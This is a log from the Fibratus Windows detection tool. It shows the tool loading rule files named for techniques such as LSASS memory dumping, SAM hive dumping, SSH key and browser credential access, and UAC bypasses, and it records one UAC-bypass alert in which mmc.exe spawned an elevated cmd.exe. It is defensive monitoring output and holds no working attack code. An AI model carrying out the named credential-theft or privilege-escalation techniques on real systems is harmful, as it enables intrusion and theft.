C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:21:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T00:21:30+01:00 level=info msg=bootstrapping with pid 5284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T00:21:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-audit-api=>true enable-mem=>false enable-image=>true stack-enrichment=>true enable-threadpool=>false enable-fileio=>true enable-thread=>true enable-net=>true buffer-size=>512 enable-registry=>true enable-dns=>false enable-vamap=>true flush-interval=>1s enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text level=>info max-age=>0 max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-interval=>10s gzip-compression=>false flush-period=>1s index-name=>fibratus sniff=>false healthcheck-timeout=>5s bulk-workers=>1 trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false template-name=>fibratus] amqp=>[ timeout=>5s vhost=>/ passive=>false url=>amqp://localhost:5672 delivery-mode=>transient durable=>false routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic] http=>[ enabled=>false serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[] timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-registry=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-23T00:21:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:21:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:21:53+01:00 level=info msg=sending alert: [UAC bypass via DLL hijack from Windows Media player directory]. Text: Event(s): + Seq: 3498069 + Pid: 20228 + Tid: 2492 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-23 00:21:40.0216838 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3c5960000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3fbeb080, name➜ cmd.exe, pid➜ 19492, ppid➜ 20228, real_ppid➜ 20228, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-23 00:21:40.02163 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14703971540316192768, rule.name: UAC bypass via DLL hijack from Windows Media player directory + + Pid: 20228 + Ppid: 8980 + Name: mmc.exe + Cmdline: "C:\WINDOWS\system32\mmc.exe" "C:\WINDOWS\system32\eventvwr.msc" + Exe: C:\WINDOWS\system32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\mmc.exe" "C:\WINDOWS\system32\eventvwr.msc"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-23T00:22:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T00:22:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:22:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:26:29+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T00:26:29+01:00 level=info msg=bootstrapping with pid 3624. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T00:26:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false min-buffers=>16 enable-mem=>false enable-image=>true buffer-size=>512 enable-fileio=>true flush-interval=>1s max-buffers=>36 enable-vamap=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-threadpool=>false enable-dns=>false enable-audit-api=>true stack-enrichment=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus durable=>false vhost=>/ timeout=>5s passive=>false exchange-type=>topic enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] elasticsearch=>[ index-name=>fibratus sniff=>false trace-log=>false timeout=>5s enabled=>false template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s bulk-workers=>1 gzip-compression=>false healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]] http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] enable-gzip=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false skip-allocs=>false scan-timeout=>10s fastscan=>true enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T00:26:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:26:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:26:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T00:26:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:26:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:32:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T00:32:19+01:00 level=info msg=bootstrapping with pid 2948. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T00:32:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-threadpool=>false enable-net=>true enable-fileio=>true stack-enrichment=>true enable-thread=>true min-buffers=>16 max-buffers=>36 enable-handle=>false buffer-size=>512 enable-dns=>false enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-audit-api=>true enable-image=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info formatter=>text log-stdout=>true max-age=>0] + output ......................... [ http=>[ timeout=>5s serializer=>json enable-gzip=>false endpoints=>[] method=>POST enabled=>false tls-insecure-skip-verify=>false] amqp=>[ enabled=>false durable=>false passive=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 exchange-type=>topic] elasticsearch=>[ gzip-compression=>false template-name=>fibratus trace-log=>false enabled=>false index-name=>fibratus healthcheck=>true flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s bulk-workers=>1 healthcheck-interval=>10s sniff=>false healthcheck-timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false skip-allocs=>false excluded-procs=>[] fastscan=>true skip-files=>false skip-mmaps=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T00:32:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:32:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:39:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T00:39:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:39:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:45:35+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 